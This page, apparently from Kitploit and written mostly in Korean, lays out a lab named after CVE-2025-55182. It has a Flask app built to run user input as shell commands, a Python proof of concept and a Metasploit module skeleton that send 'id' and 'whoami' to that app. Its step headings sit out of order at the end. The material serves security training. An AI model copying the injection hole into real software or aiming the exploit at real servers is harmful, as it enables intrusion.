CVE-2025-55182-Metasploit-exploit-skeleton-real-flow- — 아래는 전체 LAB 계획입니다: demo-vulnerable app → Python PoC → Metasploit exploit skeleton | Kitploit

🧪 1단계: 데모 취약 웹 앱 (LAB)

우리는 CVE-2025-55182와 유사한 로직(안전하지 않은 서버 측 실행)을 생성합니다.

📁 vuln_app/app.py

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/render", methods=["POST"])
def render():
    data = request.json.get("component")

    # ❌ VULNERABLE: user input to command execution
    result = subprocess.getoutput(data)
    return result

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

실행:

pip install flask
python app.py

📌 이는 React2Shell과 유사합니다:

서버 측 입력 → 실행

🧪 2단계: Python PoC (테스트 익스플로잇)

이는 RCE가 존재함을 증명하기 위한 것입니다.

📁 poc.py

import requests

url = "http://127.0.0.1:3000/render"

payload = {
    "component": "id"
}

r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'LAB React-like Server RCE',
      'Description' => %q{
        Demonstration exploit for unsafe server-side execution.
        Tested only in a controlled lab environment.
      },
      'Author'      => ['Behruz'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['linux'],
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DisclosureDate' => '2025-01-01',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
    ])
  end

  def exploit
    print_status("Sending lab command execution request")

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'ctype'  => 'application/json',
      'data'   => {
        'component' => 'whoami'
      }.to_json
    })

    print_good("Request sent (LAB validation only)")
  end
end

## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.

## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted

## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

인기

🧠 3단계: Metasploit 익스플로잇 SKELETON

📁 4단계: 포트폴리오 구조 (중요)

📝 5단계: README에 다음과 같이 작성됨